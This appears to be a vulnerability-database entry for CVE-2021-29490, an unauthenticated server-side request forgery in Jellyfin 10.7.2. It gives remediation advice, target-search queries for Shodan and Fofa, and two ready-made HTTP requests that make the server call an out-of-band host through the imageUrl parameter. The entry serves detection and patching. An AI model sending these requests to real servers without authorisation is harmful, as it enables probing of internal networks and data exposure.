| Title | Jellyfin 10.7.2 - Server Side Request Forgery |
|---|---|
| Author | alph4byt3 |
| Severity | Medium |
| Impact | This vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further exploitation of the target system. |
| Remediation | Upgrade to version 10.7.3 or newer. As a workaround, disable external access to the API endpoints "/Items/*/RemoteImages/Download", "/Items/RemoteSearch/Image" and "/Images/Remote". |
| CVSS Score | 5.8 |
| EPSS Score | 0.91997 |
| CVE ID | CVE-2021-29490 |
| CWE ID | CWE-918 |
| Shodan Query | http.title:"Jellyfin" |
| Fofa Query | body="jellyfin" |
| Tags | cve cve2021 ssrf jellyfin oast vuln |
Jellyfin is a free software media system. Versions 10.7.2 and below are vulnerable to unauthenticated Server-Side Request Forgery (SSRF) attacks via the imageUrl parameter.
GET /Images/Remote?imageUrl=https://oast.me/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /Items/RemoteSearch/Image?ImageUrl=https://oast.me/&ProviderName=TheMovieDB HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-29490.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-29490.pcap
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